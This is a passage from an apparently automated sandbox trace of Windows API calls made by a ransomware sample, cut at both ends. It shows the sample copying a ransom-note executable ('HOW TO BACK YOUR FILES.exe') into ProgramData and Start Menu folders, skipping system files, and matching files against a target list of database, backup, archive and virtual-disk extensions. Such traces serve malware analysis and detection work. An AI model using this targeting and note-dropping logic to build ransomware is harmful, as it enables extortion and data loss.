cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0099.319] GetLastError () returned 0x0 [0099.319] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0099.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f2d8 [0099.319] ReadFile (in: hFile=0xf4, lpBuffer=0x53f2d8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f2d8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0099.320] CloseHandle (hObject=0xf4) returned 1 [0099.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.320] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0099.320] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0099.320] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.320] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.320] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.320] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.320] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.320] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.320] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.320] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.320] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c145e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0099.320] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0099.320] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0099.320] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.320] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.321] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0099.321] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0099.321] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0099.321] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0099.321] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0099.321] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0099.321] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0099.321] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0099.321] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0099.321] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0099.321] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0099.321] lstrlenW (lpString="packages") returned 8 [0099.321] lstrcpyW (in: lpString1=0x241e8e6, lpString2="packages" | out: lpString1="packages") returned="packages" [0099.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50adb8 [0099.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x53f2d8 [0099.321] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0099.321] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0099.322] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0099.324] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0099.325] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0099.325] ReleaseMutex (hMutex=0xec) returned 1 [0099.325] CloseHandle (hObject=0xec) returned 1 [0099.325] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Start Menu\\Programs" | out: lpString1="C:\\ProgramData\\Start Menu\\Programs") returned="C:\\ProgramData\\Start Menu\\Programs" [0099.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517578 | out: hHeap=0x4f0000) returned 1 [0099.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50db68 | out: hHeap=0x4f0000) returned 1 [0099.325] lstrlenW (lpString="C:\\ProgramData\\Start Menu\\Programs") returned 34 [0099.325] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\640171D3CEAD4F325D94DEE164CB5745") returned 0xec [0099.325] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0099.325] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Start Menu\\Programs" | out: lpString1="C:\\ProgramData\\Start Menu\\Programs") returned="C:\\ProgramData\\Start Menu\\Programs" [0099.325] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0099.325] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0099.326] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0099.326] GetLastError () returned 0x0 [0099.326] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0099.326] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0099.326] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0099.327] CloseHandle (hObject=0xf4) returned 1 [0099.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.327] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0099.327] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Start Menu\\Programs\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4c86a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0099.327] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.327] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.327] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.327] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4c86a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.328] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.328] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.328] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.328] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.328] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2=".") returned 1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="..") returned 1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="windows") returned -1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="bootmgr") returned -1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="temp") returned -1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="pagefile.sys") returned -1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="boot") returned -1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="ids.txt") returned -1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="ntuser.dat") returned -1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="perflogs") returned -1 [0099.328] lstrcmpiW (lpString1="Accessories", lpString2="MSBuild") returned -1 [0099.328] lstrlenW (lpString="Accessories") returned 11 [0099.328] lstrcpyW (in: lpString1=0x241e88e, lpString2="Accessories" | out: lpString1="Accessories") returned="Accessories" [0099.328] SetFileAttributesW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Accessories", dwFileAttributes=0x10) returned 1 [0099.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db68 [0099.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x524360 [0099.329] lstrcatW (in: lpString1="Accessories", lpString2="\\" | out: lpString1="Accessories\\") returned="Accessories\\" [0099.329] lstrcatW (in: lpString1="Accessories\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Accessories\\HOW TO BACK YOUR FILES.exe") returned="Accessories\\HOW TO BACK YOUR FILES.exe" [0099.329] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\accessories\\how to back your files.exe"), bFailIfExists=1) returned 1 [0099.334] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2=".") returned 1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="..") returned 1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="windows") returned -1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="bootmgr") returned -1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="temp") returned -1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="pagefile.sys") returned -1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="boot") returned -1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="ids.txt") returned -1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="ntuser.dat") returned -1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="perflogs") returned -1 [0099.334] lstrcmpiW (lpString1="Administrative Tools", lpString2="MSBuild") returned -1 [0099.334] lstrlenW (lpString="Administrative Tools") returned 20 [0099.334] lstrcpyW (in: lpString1=0x241e88e, lpString2="Administrative Tools" | out: lpString1="Administrative Tools") returned="Administrative Tools" [0099.334] SetFileAttributesW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Administrative Tools", dwFileAttributes=0x10) returned 1 [0099.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dbf8 [0099.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x5398d8 [0099.334] lstrcatW (in: lpString1="Administrative Tools", lpString2="\\" | out: lpString1="Administrative Tools\\") returned="Administrative Tools\\" [0099.335] lstrcatW (in: lpString1="Administrative Tools\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Administrative Tools\\HOW TO BACK YOUR FILES.exe") returned="Administrative Tools\\HOW TO BACK YOUR FILES.exe" [0099.335] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Administrative Tools\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\administrative tools\\how to back your files.exe"), bFailIfExists=1) returned 1 [0099.337] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c01860, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x989, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".") returned 1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="..") returned 1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="windows") returned -1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="bootmgr") returned -1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="temp") returned -1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="pagefile.sys") returned -1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="boot") returned -1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="ids.txt") returned -1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="ntuser.dat") returned -1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="perflogs") returned -1 [0099.337] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="MSBuild") returned -1 [0099.337] lstrlenW (lpString="Adobe Reader X.lnk") returned 18 [0099.337] lstrcpyW (in: lpString1=0x241e88e, lpString2="Adobe Reader X.lnk" | out: lpString1="Adobe Reader X.lnk") returned="Adobe Reader X.lnk" [0099.337] lstrlenW (lpString="Adobe Reader X.lnk") returned 18 [0099.337] lstrlenW (lpString="Athena865") returned 9 [0099.338] lstrcmpiW (lpString1="der X.lnk", lpString2="Athena865") returned 1 [0099.338] lstrlenW (lpString=".dll") returned 4 [0099.338] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".dll") returned 1 [0099.338] lstrlenW (lpString=".lnk") returned 4 [0099.338] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".lnk") returned 1 [0099.338] lstrlenW (lpString=".ini") returned 4 [0099.338] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".ini") returned 1 [0099.338] lstrlenW (lpString=".sys") returned 4 [0099.338] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".sys") returned 1 [0099.338] lstrlenW (lpString="Adobe Reader X.lnk") returned 18 [0099.338] lstrlenW (lpString="bak") returned 3 [0099.338] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0099.338] lstrlenW (lpString="ba_") returned 3 [0099.338] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0099.338] lstrlenW (lpString="dbb") returned 3 [0099.338] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0099.338] lstrlenW (lpString="vmdk") returned 4 [0099.338] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0099.338] lstrlenW (lpString="rar") returned 3 [0099.338] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0099.338] lstrlenW (lpString="zip") returned 3 [0099.338] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0099.338] lstrlenW (lpString="tgz") returned 3 [0099.338] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0099.338] lstrlenW (lpString="vbox") returned 4 [0099.338] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0099.338] lstrlenW (lpString="vdi") returned 3 [0099.338] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0099.338] lstrlenW (lpString="vhd") returned 3 [0099.339] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0099.339] lstrlenW (lpString="vhdx") returned 4 [0099.339] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0099.339] lstrlenW (lpString="avhd") returned 4 [0099.339] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0099.339] lstrlenW (lpString="db") returned 2 [0099.339] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0099.339] lstrlenW (lpString="db2") returned 3 [0099.339] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0099.339] lstrlenW (lpString="db3") returned 3 [0099.339] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0099.339] lstrlenW (lpString="dbf") returned 3 [0099.339] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0099.339] lstrlenW (lpString="mdf") returned 3 [0099.339] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0099.339] lstrlenW (lpString="mdb") returned 3 [0099.339] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0099.339] lstrlenW (lpString="sql") returned 3 [0099.339] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0099.339] lstrlenW (lpString="sqlite") returned 6 [0099.339] lstrcmpiW (lpString1=" X.lnk", lpString2="sqlite") returned -1 [0099.339] lstrlenW (lpString="sqlite3") returned 7 [0099.339] lstrcmpiW (lpString1="r X.lnk", lpString2="sqlite3") returned -1 [0099.339] lstrlenW (lpString="sqlitedb") returned 8 [0099.339] lstrcmpiW (lpString1="er X.lnk", lpString2="sqlitedb") returned -1 [0099.339] lstrlenW (lpString="xml") returned 3 [0099.339] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0099.339] lstrlenW (lpString="$er") returned 3 [0099.339] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0099.340] lstrlenW (lpString="4dd") returned 3 [0099.340] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0099.340] lstrlenW (lpString="4dl") returned 3 [0099.340] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0099.340] lstrlenW (lpString="^^^") returned 3 [0099.340] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0099.340] lstrlenW (lpString="abs") returned 3 [0099.340] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0099.340] lstrlenW (lpString="abx") returned 3 [0099.340] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0099.340] lstrlenW (lpString="accdb") returned 5 [0099.340] lstrcmpiW (lpString1="X.lnk", lpString2="accdb") returned 1 [0099.340] lstrlenW (lpString="accdc") returned 5 [0099.340] lstrcmpiW (lpString1="X.lnk", lpString2="accdc") returned 1 [0099.340] lstrlenW (lpString="accde") returned 5 [0099.340] lstrcmpiW (lpString1="X.lnk", lpString2="accde") returned 1 [0099.340] lstrlenW (lpString="accdr") returned 5 [0099.340] lstrcmpiW (lpString1="X.lnk", lpString2="accdr") returned 1 [0099.340] lstrlenW (lpString="accdt") returned 5 [0099.340] lstrcmpiW (lpString1="X.lnk", lpString2="accdt") returned 1 [0099.340] lstrlenW (lpString="accdw") returned 5 [0099.340] lstrcmpiW (lpString1="X.lnk", lpString2="accdw") returned 1 [0099.340] lstrlenW (lpString="accft") returned 5 [0099.340] lstrcmpiW (lpString1="X.lnk", lpString2="accft") returned 1 [0099.340] lstrlenW (lpString="adb") returned 3 [0099.340] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.340] lstrlenW (lpString="adb") returned 3 [0099.340] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.340] lstrlenW (lpString="ade") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0099.341] lstrlenW (lpString="adf") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0099.341] lstrlenW (lpString="adn") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0099.341] lstrlenW (lpString="adp") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0099.341] lstrlenW (lpString="alf") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0099.341] lstrlenW (lpString="ask") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0099.341] lstrlenW (lpString="btr") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0099.341] lstrlenW (lpString="cat") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0099.341] lstrlenW (lpString="cdb") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0099.341] lstrlenW (lpString="ckp") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0099.341] lstrlenW (lpString="cma") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0099.341] lstrlenW (lpString="cpd") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0099.341] lstrlenW (lpString="dacpac") returned 6 [0099.341] lstrcmpiW (lpString1=" X.lnk", lpString2="dacpac") returned -1 [0099.341] lstrlenW (lpString="dad") returned 3 [0099.341] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0099.341] lstrlenW (lpString="dadiagrams") returned 10 [0099.341] lstrcmpiW (lpString1="ader X.lnk", lpString2="dadiagrams") returned -1 [0099.341] lstrlenW (lpString="daschema") returned 8 [0099.342] lstrcmpiW (lpString1="er X.lnk", lpString2="daschema") returned 1 [0099.342] lstrlenW (lpString="db-journal") returned 10 [0099.342] lstrcmpiW (lpString1="ader X.lnk", lpString2="db-journal") returned -1 [0099.342] lstrlenW (lpString="db-shm") returned 6 [0099.342] lstrcmpiW (lpString1=" X.lnk", lpString2="db-shm") returned -1 [0099.342] lstrlenW (lpString="db-wal") returned 6 [0099.342] lstrcmpiW (lpString1=" X.lnk", lpString2="db-wal") returned -1 [0099.342] lstrlenW (lpString="dbc") returned 3 [0099.342] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0099.342] lstrlenW (lpString="dbs") returned 3 [0099.342] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0099.342] lstrlenW (lpString="dbt") returned 3 [0099.342] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0099.342] lstrlenW (lpString="dbv") returned 3 [0099.342] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0099.342] lstrlenW (lpString="dbx") returned 3 [0099.342] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0099.342] lstrlenW (lpString="dcb") returned 3 [0099.342] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0099.342] lstrlenW (lpString="dct") returned 3 [0099.342] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0099.342] lstrlenW (lpString="dcx") returned 3 [0099.342] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0099.342] lstrlenW 